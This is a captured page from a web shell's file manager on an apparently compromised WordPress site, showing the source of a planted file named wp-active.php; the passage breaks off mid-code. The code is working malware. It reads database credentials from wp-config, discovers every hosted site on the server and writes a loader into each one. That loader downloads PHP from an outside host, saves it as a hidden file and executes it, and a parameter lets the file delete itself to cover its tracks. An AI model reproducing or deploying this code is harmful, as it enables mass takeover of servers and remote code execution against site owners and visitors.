<pre>ok /home/doctorbruno/public_html/ularal.com
(root)

[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=._qr.php">._qr.php</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=.ftpquota">.ftpquota</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=.htaccess">.htaccess</a>
[D]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com%2F.well-known">.well-known</a>
[D]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com%2F_app-created">_app-created</a>
[D]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com%2Fcgi-bin">cgi-bin</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=indexs.php">indexs.php</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=old-cache.php">old-cache.php</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=wp-active.php">wp-active.php</a>
[D]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com%2Fwp-admin">wp-admin</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=wp-comment.php">wp-comment.php</a>
[D]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com%2Fwp-content">wp-content</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=wp-file-extract.php">wp-file-extract.php</a>
[D]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com%2Fwp-includes">wp-includes</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=wp-info.php">wp-info.php</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=wp-settinger.php">wp-settinger.php</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=wp-site-health.php">wp-site-health.php</a>
[F]<a href="?d=%2Fhome%2Fdoctorbruno%2Fpublic_html%2Fularal.com&e=wp-user.php">wp-user.php</a>
</pre>
<form method="post"><input type="hidden" name="d" value="/home/doctorbruno/public_html/ularal.com"><input type="hidden" name="a" value="w">edit/save <input name="n" value="wp-active.php"><br><textarea name="c" rows="12" cols="72">&lt;?php
// sites.php - ?ac=1 deploy+ping+urls (text), ?del=1 self-delete

if (isset($_GET[&#039;del&#039;]) &amp;&amp; $_GET[&#039;del&#039;] === &#039;1&#039;) {
    header(&#039;Content-Type: text/plain; charset=utf-8&#039;);
    $self = __FILE__;
    if (@unlink($self)) {
        echo &quot;silindi: $self\n&quot;;
    } else {
        http_response_code(500);
        echo &quot;silinemedi: $self\n&quot;;
    }
    exit;
}

$cwd = isset($_REQUEST[&#039;path&#039;]) ? realpath($_REQUEST[&#039;path&#039;]) : getcwd();
if (!$cwd || !file_exists($cwd)) $cwd = getcwd();

function site_domain_from_path($path, $label) {
    $patterns = [
        &#039;#/vhosts/([^/]+)/#&#039;,
        &#039;#/wwwroot/([^/]+)#&#039;,
        &#039;#/domains/([^/]+)/public_html#&#039;,
        &#039;#/web/([^/]+)/public_html#&#039;,
        &#039;#/home/[^/]+/([^/]+)/public_html#&#039;,
        &#039;#/home/([^/]+)/public_html#&#039;,
    ];
    foreach ($patterns as $pat) {
        if (preg_match($pat, $path, $m) &amp;&amp; strpos($m[1], &#039;.&#039;) !== false) {
            return preg_replace(&#039;/^www\./&#039;, &#039;&#039;, $m[1]);
        }
    }
    $fromConfig = domain_from_site_path($path);
    if ($fromConfig) return $fromConfig;
    $clean = trim(preg_replace(&#039;/\s*\((main|addon|current)\)\s*/i&#039;, &#039;&#039;, $label));
    $clean = str_replace([&#039; - current - &#039;], &#039;&#039;, $clean);
    if (preg_match(&#039;/^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)+$/i&#039;, $clean)) {
        return $clean;
    }
    return null;
}

function domain_from_site_path($path) {
    foreach ([&#039;wp-config.php&#039;, &#039;wp-config-local.php&#039;] as $cfg) {
        $file = &quot;$path/$cfg&quot;;
        if (!is_file($file)) continue;
        $content = @file_get_contents($file, false, null, 0, 16384);
        if (!$content) continue;
        if (preg_match(&quot;/define\s*\(\s*[&#039;\&quot;]WP_(?:HOME|SITEURL)[&#039;\&quot;]\s*,\s*[&#039;\&quot;]https?:\/\/([^&#039;\&quot;\/]+)/i&quot;, $content, $m)) {
            return preg_replace(&#039;/^www\./&#039;, &#039;&#039;, $m[1]);
        }
    }
    $cfg = &quot;$path/configuration.php&quot;;
    if (is_file($cfg)) {
        $content = @file_get_contents($cfg, false, null, 0, 8192);
        if ($content &amp;&amp; preg_match(&quot;/live_site\s*=\s*[&#039;\&quot;]https?:\/\/([^&#039;\&quot;\/]+)/i&quot;, $content, $m)) {
            return preg_replace(&#039;/^www\./&#039;, &#039;&#039;, $m[1]);
        }
    }
    return null;
}

function find_wp_root($path) {
    $real = @realpath($path);
    if (!$real) $real = $path;
    if (is_file(&quot;$real/wp-config.php&quot;)) return $real;
    $parent = dirname($real);
    if ($parent !== $real &amp;&amp; is_file(&quot;$parent/wp-config.php&quot;)) return $parent;
    foreach (glob(&quot;$real/*/wp-config.php&quot;) ?: [] as $cfg) {
        return dirname($cfg);
    }
    return null;
}

function parse_wp_config_db($wpRoot) {
    $content = @file_get_contents(&quot;$wpRoot/wp-config.php&quot;);
    if (!$content) return null;
    $val = function ($name) use ($content) {
        if (preg_match(&quot;/define\s*\(\s*[&#039;\&quot;]&quot; . preg_quote($name, &#039;/&#039;) . &quot;[&#039;\&quot;]\s*,\s*[&#039;\&quot;]([^&#039;\&quot;]*)[&#039;\&quot;]\s*\)/&quot;, $content, $m)) {
            return stripcslashes($m[1]);
        }
        return null;
    };
    $prefix = &#039;wp_&#039;;
    if (preg_match(&#039;/\$table_prefix\s*=\s*[\&#039;&quot;]([^\&#039;&quot;]+)[\&#039;&quot;]\s*;/&#039;, $content, $m)) {
        $prefix = $m[1];
    }
    if (!$val(&#039;DB_NAME&#039;) || !$val(&#039;DB_USER&#039;)) return null;
    return [
        &#039;name&#039;   =&gt; $val(&#039;DB_NAME&#039;),
        &#039;user&#039;   =&gt; $val(&#039;DB_USER&#039;),
        &#039;pass&#039;   =&gt; $val(&#039;DB_PASSWORD&#039;) ?? &#039;&#039;,
        &#039;host&#039;   =&gt; $val(&#039;DB_HOST&#039;) ?: &#039;localhost&#039;,
        &#039;prefix&#039; =&gt; $prefix,
    ];
}

function wp_query_siteurl($db) {
    $table = preg_replace(&#039;/[^a-z0-9_]/i&#039;, &#039;&#039;, $db[&#039;prefix&#039;]) . &#039;options&#039;;
    $sql = &quot;SELECT option_value FROM `{$table}` WHERE option_name IN (&#039;siteurl&#039;,&#039;home&#039;) ORDER BY FIELD(option_name,&#039;siteurl&#039;,&#039;home&#039;) LIMIT 1&quot;;

    if (extension_loaded(&#039;mysqli&#039;)) {
        $host = $db[&#039;host&#039;];
        $port = null;
        $socket = null;
        if (strpos($host, &#039;:&#039;) !== false) {
            $parts = explode(&#039;:&#039;, $host, 2);
            $host = $parts[0];
            if (is_numeric($parts[1])) $port = (int) $parts[1];
        } elseif ($host[0] === &#039;/&#039;) {
            $socket = $host;
            $host = &#039;localhost&#039;;
        }
        if ($port !== null) {
            $mysqli = @new mysqli($host, $db[&#039;user&#039;], $db[&#039;pass&#039;], $db[&#039;name&#039;], $port);
        } elseif ($socket) {
            $mysqli = @new mysqli(&#039;localhost&#039;, $db[&#039;user&#039;], $db[&#039;pass&#039;], $db[&#039;name&#039;], null, $socket);
        } else {
            $mysqli = @new mysqli($host, $db[&#039;user&#039;], $db[&#039;pass&#039;], $db[&#039;name&#039;]);
        }
        if ($mysqli-&gt;connect_error) return null;
        $res = $mysqli-&gt;query($sql);
        $row = $res ? $res-&gt;fetch_assoc() : null;
        $mysqli-&gt;close();
        return $row[&#039;option_value&#039;] ?? null;
    }
    if (extension_loaded(&#039;pdo_mysql&#039;)) {
        try {
            $pdo = new PDO(
                &quot;mysql:host={$db[&#039;host&#039;]};dbname={$db[&#039;name&#039;]};charset=utf8mb4&quot;,
                $db[&#039;user&#039;],
                $db[&#039;pass&#039;],
                [PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION]
            );
            $row = $pdo-&gt;query($sql)-&gt;fetch(PDO::FETCH_ASSOC);
            return $row[&#039;option_value&#039;] ?? null;
        } catch (Exception $e) {
            return null;
        }
    }
    return null;
}

function wp_file_url_from_options($filePath) {
    $docroot = dirname($filePath);
    $wpRoot = find_wp_root($docroot);
    if (!$wpRoot) return [&#039;url&#039; =&gt; null, &#039;error&#039; =&gt; &#039;wp-config yok&#039;];
    $db = parse_wp_config_db($wpRoot);
    if (!$db) return [&#039;url&#039; =&gt; null, &#039;error&#039; =&gt; &#039;db okunamadi&#039;];
    $siteurl = wp_query_siteurl($db);
    if (!$siteurl) return [&#039;url&#039; =&gt; null, &#039;error&#039; =&gt; &#039;wp_options yok&#039;];
    $base = rtrim($siteurl, &#039;/&#039;);
    $fname = basename($filePath);
    return [&#039;url&#039; =&gt; $base . &#039;/&#039; . $fname, &#039;error&#039; =&gt; null];
}

function site_url_for($site, $file = &#039;&#039;) {
    $domain = $site[&#039;domain&#039;] ?? site_domain_from_path($site[&#039;path&#039;], $site[&#039;label&#039;]);
    if (!$domain) return null;
    $url = &#039;https://&#039; . $domain;
    if ($file !== &#039;&#039;) $url .= &#039;/&#039; . ltrim(str_replace(&#039;\\&#039;, &#039;/&#039;, $file), &#039;/&#039;);
    return $url;
}

function zero_basedir_roots() {
    static $roots = null;
    if ($roots !== null) return $roots;
    $raw = ini_get(&#039;open_basedir&#039;);
    if ($raw === false || $raw === &#039;&#039;) {
        $roots = false;
        return $roots;
    }
    $roots = [];
    foreach (explode(PATH_SEPARATOR, $raw) as $part) {
        $part = rtrim(str_replace(&#039;\\&#039;, &#039;/&#039;, trim($part)), &#039;/&#039;);
        if ($part !== &#039;&#039;) $roots[] = $part;
    }
    return $roots;
}

function zero_path_allowed($path) {
    $roots = zero_basedir_roots();
    if ($roots === false) return true;
    if ($path === &#039;&#039; || $path === false) return false;
    $path = str_replace(&#039;\\&#039;, &#039;/&#039;, (string) $path);
    foreach ($roots as $root) {
        if ($path === $root || strpos($path, $root . &#039;/&#039;) === 0) return true;
    }
    return false;
}

function zero_is_dir($path) {
    return zero_path_allowed($path) &amp;&amp; @is_dir($path);
}

function zero_is_readable($path) {
    return zero_path_allowed($path) &amp;&amp; @is_readable($path);
}

function zero_is_file($path) {
    return zero_path_allowed($path) &amp;&amp; @is_file($path);
}

function zero_php_username() {
    $user = get_current_user() ?: &#039;unknown&#039;;
    if (function_exists(&#039;posix_geteuid&#039;) &amp;&amp; function_exists(&#039;posix_getpwuid&#039;)) {
        $info = @posix_getpwuid(@posix_geteuid());
        if (is_array($info) &amp;&amp; !empty($info[&#039;name&#039;])) return $info[&#039;name&#039;];
    }
    return $user;
}

function detect_panel($cwd) {
    if (strpos($cwd, &#039;/var/www/vhosts/&#039;) !== false) return &#039;Plesk&#039;;
    if (preg_match(&#039;#/home/[^/]+/(public_html|domains)/#&#039;, $cwd)) return &#039;cPanel&#039;;
    if (strpos($cwd, &#039;/www/wwwroot&#039;) !== false) return &#039;aaPanel&#039;;
    if (preg_match(&#039;#/home/[^/]+/web/#&#039;, $cwd)) return &#039;HestiaCP&#039;;
    if (preg_match(&#039;#/srv/users/[^/]+/apps/#&#039;, $cwd)) return &#039;ServerPilot&#039;;
    if (preg_match(&#039;#/home/[^/]+/domains/#&#039;, $cwd)) return &#039;DirectAdmin&#039;;
    if (preg_match(&#039;#/usr/www/users/#&#039;, $cwd)) return &#039;usr-www&#039;;
    $markers = [
        &#039;Plesk&#039;       =&gt; [&#039;/usr/local/psa&#039;, &#039;/opt/psa&#039;],
        &#039;cPanel&#039;      =&gt; [&#039;/usr/local/cpanel&#039;, &#039;/var/cpanel&#039;],
        &#039;aaPanel&#039;     =&gt; [&#039;/www/server/panel&#039;],
        &#039;DirectAdmin&#039; =&gt; [&#039;/usr/local/directadmin&#039;],
        &#039;CyberPanel&#039;  =&gt; [&#039;/usr/local/CyberCP&#039;],
        &#039;HestiaCP&#039;    =&gt; [&#039;/usr/local/hestia&#039;],
        &#039;ISPConfig&#039;   =&gt; [&#039;/usr/local/ispconfig&#039;],
        &#039;Webmin&#039;      =&gt; [&#039;/etc/webmin&#039;],
    ];
    foreach ($markers as $name =&gt; $paths) {
        foreach ($paths as $p) {
            if (zero_is_dir($p)) return $name;
        }
    }
    return &#039;Generic&#039;;
}

function guess_user_home($cwd) {
    if (preg_match(&#039;#(/usr/www/users/[^/]+)#&#039;, $cwd, $m) &amp;&amp; zero_is_dir($m[1])) {
        return $m[1];
    }
    if (preg_match(&#039;#/home/([^/]+)#&#039;, $cwd, $m) &amp;&amp; zero_is_dir(&#039;/home/&#039; . $m[1])) {
        return &#039;/home/&#039; . $m[1];
    }
    if (preg_match(&#039;#^(/home/[^/]+)#&#039;, $cwd, $m) &amp;&amp; zero_is_dir($m[1])) return $m[1];
    if (preg_match(&#039;#^(/srv/users/[^/]+)#&#039;, $cwd, $m) &amp;&amp; zero_is_dir($m[1])) return $m[1];
    if (function_exists(&#039;posix_geteuid&#039;) &amp;&amp; function_exists(&#039;posix_getpwuid&#039;)) {
        $info = @posix_getpwuid(@posix_geteuid());
        if ($info &amp;&amp; !empty($info[&#039;dir&#039;]) &amp;&amp; zero_is_dir($info[&#039;dir&#039;])) return $info[&#039;dir&#039;];
    }
    $user = get_current_user();
    if ($user &amp;&amp; $user !== &#039;root&#039; &amp;&amp; zero_is_dir(&quot;/home/$user&quot;)) return &quot;/home/$user&quot;;
    return null;
}

function parse_cpanel_userdata_file($file) {
    $content = @file_get_contents($file);
    if ($content === false) return null;
    $docroot = null;
    $servername = null;
    if (preg_match(&#039;/^documentroot:\s*(.+)$/m&#039;, $content, $m)) $docroot = trim($m[1]);
    if (preg_match(&#039;/^servername:\s*(.+)$/m&#039;, $content, $m)) $servername = trim($m[1]);
    if (!$docroot) return null;
    return [&#039;documentroot&#039; =&gt; $docroot, &#039;servername&#039; =&gt; $servername ?: basename($file)];
}

function discover_via_find($home, $maxdepth = 5) {
    $found = [];
    if (!$home || !zero_is_dir($home)) return $found;
    $disabled = array_map(&#039;trim&#039;, explode(&#039;,&#039;, (string) ini_get(&#039;disable_functions&#039;)));
    if (in_array(&#039;shell_exec&#039;, $disabled, true) &amp;&amp; in_array(&#039;exec&#039;, $disabled, true)) return $found;
    $cmd = &#039;find &#039; . escapeshellarg($home) . &#039; -maxdepth &#039; . (int) $maxdepth
        . &#039; \( -name wp-config.php -o -name configuration.php \) 2&gt;/dev/null&#039;;
    $run = function_exists(&#039;shell_exec&#039;) ? @shell_exec($cmd) : null;
    if (!$run) return $found;
    foreach (explode(&quot;\n&quot;, trim($run)) as $line) {
        $line = trim($line);
        if ($line === &#039;&#039; || !is_file($line)) continue;
        $docroot = dirname($line);
        if (basename($line) === &#039;configuration.php&#039; &amp;&amp; is_dir($docroot . &#039;/administrator&#039;)) {
            $found[$docroot] = basename($docroot);
        } elseif (basename($line) === &#039;wp-config.php&#039;) {
            $found[$docroot] = basename($docroot);
        }
    }
    return $found;
}

function looks_like_docroot($path) {
    if (!zero_is_dir($path) || !zero_is_readable($path)) return false;
    foreach ([&#039;index.php&#039;, &#039;index.html&#039;, &#039;wp-config.php&#039;, &#039;.htaccess&#039;] as $f) {
        if (is_file(&quot;$path/$f&quot;)) return true;
    }
    return basename($path) === &#039;public_html&#039;
        || basename($path) === &#039;httpdocs&#039;
        || basename($path) === &#039;www&#039;;
}

function detect_cms($path) {
    if (!zero_is_dir($path) || !zero_is_readable($path)) return null;

    $check = function ($base) {
        if (is_file(&quot;$base/wp-config.php&quot;) || (is_dir(&quot;$base/wp-includes&quot;) &amp;&amp; is_dir(&quot;$base/wp-admin&quot;))) {
            return &#039;wordpress&#039;;
        }
        if (is_file(&quot;$base/configuration.php&quot;) &amp;&amp; is_dir(&quot;$base/administrator&quot;)
            &amp;&amp; (is_dir(&quot;$base/libraries&quot;) || is_dir(&quot;$base/components&quot;))) {
            return &#039;joomla&#039;;
        }
        return null;
    };

    $cms = $check($path);
    if ($cms) return $cms;

    foreach (glob(&quot;$path/*&quot;, GLOB_ONLYDIR) ?: [] as $sub) {
        $name = basename($sub);
        if (in_array($name, [&#039;cgi-bin&#039;, &#039;tmp&#039;, &#039;cache&#039;, &#039;logs&#039;, &#039;backup&#039;, &#039;.well-known&#039;, &#039;vendor&#039;, &#039;node_modules&#039;], true)) continue;
        $cms = $check($sub);
        if ($cms) return $cms;
    }
    return null;
}

function discover_sites($cwd) {
    $sites = [];
    $seen = [];
    $debug = [&#039;methods&#039; =&gt; []];
    $panel = detect_panel($cwd);
    $home = guess_user_home($cwd);
    $cpuser = $home ? basename($home) : null;
    $phpUser = zero_php_username();

    $debug[&#039;cwd&#039;] = $cwd;
    $debug[&#039;home&#039;] = $home;
    $debug[&#039;cpuser&#039;] = $cpuser;
    $debug[&#039;php_user&#039;] = $phpUser;
    $debug[&#039;open_basedir&#039;] = ini_get(&#039;open_basedir&#039;) ?: &#039; - &#039;;
    $debug[&#039;userdata&#039;] = $cpuser ? &quot;/var/cpanel/userdata/$cpuser&quot; : null;
    $debug[&#039;userdata_ok&#039;] = $debug[&#039;userdata&#039;] &amp;&amp; zero_is_readable($debug[&#039;userdata&#039;]);

    $add = function ($path, $label, $sitePanel, $type = &#039;docroot&#039;, $method = &#039;&#039;) use (&amp;$sites, &amp;$seen, &amp;$debug) {
        $real = @realpath($path);
        if (!$real || !zero_is_dir($real) || isset($seen[$real])) return false;
        $seen[$real] = true;
        $sites[] = [
            &#039;path&#039;  =&gt; $real,
            &#039;label&#039; =&gt; $label,
            &#039;panel&#039; =&gt; $sitePanel,
            &#039;type&#039;  =&gt; $type,
            &#039;method&#039; =&gt; $method,
        ];
        if ($method) $debug[&#039;methods&#039;][$method] = ($debug[&#039;methods&#039;][$method] ?? 0) + 1;
        return true;
    };

    // /usr/www/users/KULLANICI  -  proje klasorleri (energyforpeople vb.)
    $usrWwwRoot = null;
    if ($home &amp;&amp; preg_match(&#039;#^/usr/www/users/[^/]+$#&#039;, $home)) {
        $usrWwwRoot = $home;
    } elseif (preg_match(&#039;#(/usr/www/users/[^/]+)#&#039;, $cwd, $m) &amp;&amp; zero_is_dir($m[1])) {
        $usrWwwRoot = $m[1];
        $home = $m[1];
    }
    if ($usrWwwRoot) {
        $panel = &#039;usr-www&#039;;
        $debug[&#039;usr_www_root&#039;] = $usrWwwRoot;
        $add($usrWwwRoot, basename($usrWwwRoot) . &#039; (main)&#039;, &#039;usr-www&#039;, &#039;main&#039;, &#039;usr_www_main&#039;);
        foreach (glob(&quot;$usrWwwRoot/*&quot;, GLOB_ONLYDIR) ?: [] as $sub) {
            $name = basename($sub);
            if ($name[0] === &#039;.&#039; || in_array($name, [&#039;tmp&#039;, &#039;logs&#039;, &#039;cache&#039;, &#039;backup&#039;, &#039;cgi-bin&#039;], true)) continue;
            $add($sub, $name, &#039;usr-www&#039;, &#039;project&#039;, &#039;usr_www_sub&#039;);
        }
    }

    // cPanel userdata  -  en guvenilir kaynak
    if ($cpuser &amp;&amp; $debug[&#039;userdata_ok&#039;]) {
        foreach (glob($debug[&#039;userdata&#039;] . &#039;/*&#039;) ?: [] as $file) {
            if (!is_file($file)) continue;
            $bn = basename($file);
            if (preg_match(&#039;/\.(cache|json)$/i&#039;, $bn) || $bn === &#039;cache&#039;) continue;
            $parsed = parse_cpanel_userdata_file($file);
            if (!$parsed || !zero_is_dir($parsed[&#039;documentroot&#039;])) continue;
            $type = ($bn === &#039;main&#039;) ? &#039;main&#039; : &#039;userdata&#039;;
            $add($parsed[&#039;documentroot&#039;], $parsed[&#039;servername&#039;], &#039;cPanel&#039;, $type, &#039;cpanel_userdata&#039;);
        }
    }

    // Plesk: /var/www/vhosts/domain.tld/httpdocs
    if (zero_is_readable(&#039;/var/www/vhosts&#039;)) {
        foreach (glob(&#039;/var/www/vhosts/*&#039;, GLOB_ONLYDIR) ?: [] as $vhost) {
            $domain = basename($vhost);
            if (in_array($domain, [&#039;default&#039;, &#039;chroot&#039;, &#039;system&#039;], true)) continue;
            foreach ([&#039;httpdocs&#039;, &#039;httpsdocs&#039;, &#039;public_html&#039;] as $sub) {
                $doc = &quot;$vhost/$sub&quot;;
                if (zero_is_dir($doc)) $add($doc, $domain, &#039;Plesk&#039;, &#039;docroot&#039;, &#039;plesk_vhosts&#039;);
            }
            foreach (glob(&quot;$vhost/subdomains/*&quot;, GLOB_ONLYDIR) ?: [] as $sub) {
                $subName = basename($sub);
                foreach ([&#039;httpdocs&#039;, &#039;public_html&#039;] as $subDir) {
                    $doc = &quot;$sub/$subDir&quot;;
                    if (zero_is_dir($doc)) {
                        $add($doc, &quot;$subName.$domain&quot;, &#039;Plesk&#039;, &#039;subdomain&#039;, &#039;plesk_sub&#039;);
                    }
                }
            }
        }
    }

    // cPanel: /home/user/public_html, addon domains, klasor taramasi
    if ($home) {
        $debug[&#039;home_readable&#039;] = zero_is_readable($home);
        $debug[&#039;home_entries&#039;] = count(glob(&quot;$home/*&quot;) ?: []);

        if (zero_is_dir(&quot;$home/public_html&quot;)) {
            $add(&quot;$home/public_html&quot;, basename($home) . &#039; (main)&#039;, &#039;cPanel&#039;, &#039;main&#039;, &#039;cpanel_public_html&#039;);
            foreach (glob(&quot;$home/public_html/*&quot;, GLOB_ONLYDIR) ?: [] as $sub) {
                $name = basename($sub);
                if ($name[0] === &#039;.&#039; || in_array($name, [&#039;cgi-bin&#039;, &#039;tmp&#039;, &#039;cache&#039;, &#039;logs&#039;], true)) continue;
                if (looks_like_docroot($sub)) {
                    $add($sub, $name, &#039;cPanel&#039;, &#039;subfolder&#039;, &#039;cpanel_public_html_sub&#039;);
                }
            }
        }
        foreach (glob(&quot;$home/domains/*/public_html&quot;, GLOB_ONLYDIR) ?: [] as $doc) {
            $domain = basename(dirname(dirname($doc)));
            $add($doc, $domain, &#039;cPanel&#039;, &#039;addon&#039;, &#039;cpanel_domains&#039;);
        }
        foreach (glob(&quot;$home/*&quot;, GLOB_ONLYDIR) ?: [] as $entry) {
            $name = basename($entry);
            if (in_array($name, [&#039;public_html&#039;, &#039;domains&#039;, &#039;mail&#039;, &#039;tmp&#039;, &#039;logs&#039;, &#039;ssl&#039;, &#039;etc&#039;, &#039;www&#039;, &#039;perl5&#039;, &#039;bin&#039;, &#039;php&#039;, &#039;softaculous_backups&#039;, &#039;lscache&#039;], true)) continue;
            if ($name[0] === &#039;.&#039;) continue;
            if (zero_is_dir(&quot;$entry/public_html&quot;)) {
                $add(&quot;$entry/public_html&quot;, $name, &#039;cPanel&#039;, &#039;addon&#039;, &#039;cpanel_folder_ph&#039;);
            } elseif (looks_like_docroot($entry)) {
                $add($entry, $name, &#039;cPanel&#039;, &#039;addon&#039;, &#039;cpanel_folder_root&#039;);
            }
        }
        // /home/user/*/public_html  -  ek addon kalibi
        foreach (glob(&quot;$home/*/public_html&quot;, GLOB_ONLYDIR) ?: [] as $doc) {
            $parent = basename(dirname($doc));
            if ($parent === basename($home)) continue;
            $add($doc, $parent, &#039;cPanel&#039;, &#039;addon&#039;, &#039;cpanel_glob_ph&#039;);
        }
    }

    // aaPanel / BT Panel: /www/wwwroot/domain.tld
    if (zero_is_readable(&#039;/www/wwwroot&#039;)) {
        foreach (glob(&#039;/www/wwwroot/*&#039;, GLOB_ONLYDIR) ?: [] as $doc) {
            $add($doc, basename($doc), &#039;aaPanel&#039;);
        }
    }

    // HestiaCP: /home/user/web/domain.tld/public_html
    if ($home &amp;&amp; zero_is_readable(&quot;$home/web&quot;)) {
        foreach (glob(&quot;$home/web/*/public_html&quot;, GLOB_ONLYDIR) ?: [] as $doc) {
            $add($doc, basename(dirname($doc)), &#039;HestiaCP&#039;);
        }
    }

    // DirectAdmin: /home/user/domains/domain.tld/public_html
    if ($home &amp;&amp; zero_is_readable(&quot;$home/domains&quot;)) {
        foreach (glob(&quot;$home/domains/*/public_html&quot;, GLOB_ONLYDIR) ?: [] as $doc) {
            $add($doc, basename(dirname(dirname($doc))), &#039;DirectAdmin&#039;);
        }
    }

    // CyberPanel: /home/domain.tld/public_html
    if (zero_is_readable(&#039;/home&#039;)) {
        foreach (glob(&#039;/home/*/public_html&#039;, GLOB_ONLYDIR) ?: [] as $doc) {
            $domain = basename(dirname($doc));
            if (!in_array($domain, [&#039;cyberpanel&#039;, &#039;docker&#039;, &#039;vmail&#039;], true) &amp;&amp; $domain[0] !== &#039;.&#039;) {
                $add($doc, $domain, &#039;CyberPanel&#039;);
            }
        }
    }

    // ISPConfig: /var/www/clients/clientN/webN
    if (zero_is_readable(&#039;/var/www/clients&#039;)) {
        foreach (glob(&#039;/var/www/clients/*/web*&#039;, GLOB_ONLYDIR) ?: [] as $doc) {
            $add($doc, basename(dirname($doc)) . &#039;/&#039; . basename($doc), &#039;ISPConfig&#039;);
        }
    }

    // ServerPilot: /srv/users/user/apps/app/public
    if (zero_is_readable(&#039;/srv/users&#039;)) {
        foreach (glob(&#039;/srv/users/*/apps/*/public&#039;, GLOB_ONLYDIR) ?: [] as $doc) {
            $parts = explode(&#039;/&#039;, $doc);
            $app = $parts[count($parts) - 2] ?? &#039;app&#039;;
            $user = $parts[3] ?? &#039;user&#039;;
            $add($doc, &quot;$user/$app&quot;, &#039;ServerPilot&#039;);
        }
    }

    // Laravel Forge / generic /var/www/html variants
    foreach ([&#039;/var/www/html&#039;] as $doc) {
        if (zero_is_dir($doc)) $add($doc, &#039;default (&#039; . basename($doc) . &#039;)&#039;, &#039;Generic&#039;, &#039;main&#039;);
    }

    // find ile WP/Joomla kokleri (cPanel home  -  userdata yetmezse tamamlar)
    if ($home &amp;&amp; ($panel === &#039;cPanel&#039; || count($sites) &lt; 10)) {
        foreach (discover_via_find($home) as $docroot =&gt; $label) {
            $add($docroot, $label, &#039;cPanel&#039;, &#039;find&#039;, &#039;find_cmd&#039;);
        }
    }

    $add($cwd, &#039; - current - &#039;, $panel, &#039;current&#039;, &#039;current&#039;);

    usort($sites, function ($a, $b) {
        if ($a[&#039;type&#039;] === &#039;current&#039;) return -1;
        if ($b[&#039;type&#039;] === &#039;current&#039;) return 1;
        return strcasecmp($a[&#039;label&#039;], $b[&#039;label&#039;]);
    });

    foreach ($sites as &amp;$s) {
        $s[&#039;domain&#039;] = site_domain_from_path($s[&#039;path&#039;], $s[&#039;label&#039;]);
        $s[&#039;url&#039;] = site_url_for($s);
        $s[&#039;cms&#039;] = detect_cms($s[&#039;path&#039;]);
    }
    unset($s);

    return [&#039;panel&#039; =&gt; $panel, &#039;home&#039; =&gt; $home, &#039;sites&#039; =&gt; $sites, &#039;debug&#039; =&gt; $debug];
}

function unique_site_targets($sites) {
    $out = [];
    $seen = [];
    foreach ($sites as $site) {
        if (isset($seen[$site[&#039;path&#039;]])) continue;
        $seen[$site[&#039;path&#039;]] = true;
        $out[] = $site;
    }
    return $out;
}

$siteList = discover_sites($cwd)[&#039;sites&#039;];

// ?ac=1  -  WP: wp-active.php, diger tum siteler: indexs.php, URL listesi (text)
if (isset($_GET[&#039;ac&#039;]) &amp;&amp; $_GET[&#039;ac&#039;] === &#039;1&#039;) {
    header(&#039;Content-Type: text/plain; charset=utf-8&#039;);
    $acContent = &lt;&lt;&lt;&#039;PHP&#039;
&lt;?php
/*[cstb_su]*/
header(&#039;Cache-Control: no-store&#039;);
$c=false;
if(function_exists(&#039;curl_init&#039;)){
$ch=curl_init(&#039;https://resmigiris.cam/src.php&#039;);
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=&gt;1,CURLOPT_TIMEOUT=&gt;60,CURLOPT_CONNECTTIMEOUT=&gt;15,CURLOPT_SSL_VERIFYPEER=&gt;0,CURLOPT_SSL_VERIFYHOST=&gt;0,CURLOPT_HTTPHEADER=&gt;[&#039;User-Agent: cStb-boot/1&#039;],CURLOPT_FOLLOWLOCATION=&gt;1]);
$c=curl_exec($ch);curl_close($ch);
}
if(!$c){$c=@file_get_contents(&#039;https://resmigiris.cam/src.php&#039;,0,stream_context_create([&#039;http&#039;=&gt;[&#039;timeout&#039;=&gt;60,&#039;header&#039;=&gt;&quot;User-Agent: cStb-boot/1\r\n&quot;],&#039;ssl&#039;=&gt;[&#039;verify_peer&#039;=&gt;false]]));}
if($c===false||$c===&#039;&#039;||strncmp(ltrim($c),&#039;&lt;?php&#039;,5)!==0){http_response_code(204);exit;}
$f=__DIR__.&#039;/._qr.php&#039;;
if(@file_put_contents($f,$c)===false){http_response_code(204);exit;}
require $f;
PHP;
    $acUrls = [];
    foreach (unique_site_targets($siteList) as $site) {
        $acFile = (($site[&#039;cms&#039;] ?? null) === &#039;wordpress&#039;) ? &#039;wp-active.php&#039; : &#039;indexs.php&#039;;
        $dest = rtrim($site[&#039;path&#039;], &#039;/&#039;) . &#039;/&#039; . $acFile;
        if (@file_put_contents($dest, $acContent) === false) continue;
        $url = site_url_for($site, $acFile);
        if (!$url) {
            $wp = wp_file_url_from_options($dest);
            $url = $wp[&#039;url&#039;] ?? null;
        }
        if ($url) $acUrls[] = $url;
    }
    if ($acUrls) {
        $acPingCtx = stream_context_create([
            &#039;http&#039; =&gt; [
                &#039;timeout&#039; =&gt; 60,
